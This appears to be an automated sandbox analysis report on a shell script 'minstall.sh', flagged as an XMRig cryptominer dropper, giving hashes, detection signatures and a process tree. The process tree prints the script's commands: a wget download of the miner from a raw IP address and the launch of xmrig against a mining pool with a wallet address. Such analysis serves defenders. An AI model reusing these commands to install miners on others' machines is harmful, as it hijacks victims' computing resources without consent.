Analysis

  • max time kernel
    10s
  • max time network
    10s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    30/03/2025, 19:28

General

  • Target

    minstall.sh

  • Size

    1KB

  • MD5

    815e8f0fa36c902d98a7fc43b325f872

  • SHA1

    0def204bd8a94fc477a98054c0f5d374146362e7

  • SHA256

    eb4d5d21d11d867ae53ef676fe24aeccf6f54e68ab0c5337ce38921940cf97d1

  • SHA512

    feb03aeefa483dcc924fb0f0478e322c19f8f6d483214af0232c0a7c0197ed94781866e1a377db82ad978a0b5d94b8fc364b538b2f910cb717cd5d6e8e8d6190

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • Xmrig_linux family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/minstall.sh
    /tmp/minstall.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /bin/hostname
      hostname
      2⤵
        PID:707
      • /usr/bin/cut
        cut -c1-5
        2⤵
          PID:708
        • /usr/bin/wget
          wget -q http://168.75.85.109:8081/xmrig-6.22.2-linux-static-x64.tar.gz -O xmrig-6.22.2-linux-static-x64.tar.gz
          2⤵
          • Writes file to tmp directory
          PID:713
        • /bin/mkdir
          mkdir -p xmrig
          2⤵
          • Reads runtime system information
          PID:735
        • /bin/tar
          tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz -C xmrig "--strip-components=1"
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:736
          • /usr/local/sbin/gzip
            gzip -d
            3⤵
              PID:737
            • /usr/local/bin/gzip
              gzip -d
              3⤵
                PID:737
              • /usr/sbin/gzip
                gzip -d
                3⤵
                  PID:737
                • /usr/bin/gzip
                  gzip -d
                  3⤵
                    PID:737
                  • /sbin/gzip
                    gzip -d
                    3⤵
                      PID:737
                    • /bin/gzip
                      gzip -d
                      3⤵
                        PID:737
                    • /tmp/xmrig/xmrig
                      ./xmrig -o pool.hashvault.pro:443 -u 46zpG6P95j9gLyVAiGebnJSdpPSxGkoNfT4D8Cco7eXHgtbQoSpB3tx4QmKZz7sbGw3BuDDXuFaDWBEe72DbHkMjDMwYZjp -p debia -k --tls -tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                      2⤵
                        PID:738

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/xmrig-6.22.2-linux-static-x64.tar.gz

                      Filesize

                      3.3MB

                      MD5

                      8feb9a1c7da97b6e0d254d93da37371d

                      SHA1

                      090510d9ac1aedbce99fe98cc7396cfcfe6a3951

                      SHA256

                      b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

                      SHA512

                      2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

                    • /tmp/xmrig/SHA256SUMS

                      Filesize

                      150B

                      MD5

                      554d057fe1c4eab2071450cf6c434dc5

                      SHA1

                      9fa4d5aa72d698f72d105fce0bd44657f244c7e6

                      SHA256

                      cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

                      SHA512

                      be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

                    • /tmp/xmrig/config.json

                      Filesize

                      2KB

                      MD5

                      66f38c96a4901e7b345787c447842b3e

                      SHA1

                      2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                      SHA256

                      2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                      SHA512

                      71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                    • /tmp/xmrig/xmrig

                      Filesize

                      7.9MB

                      MD5

                      8f4fff0ded94f1141768220906abfbb8

                      SHA1

                      ea7c97294f415dc8713ac8c280b3123da62f6e56

                      SHA256

                      b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

                      SHA512

                      0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee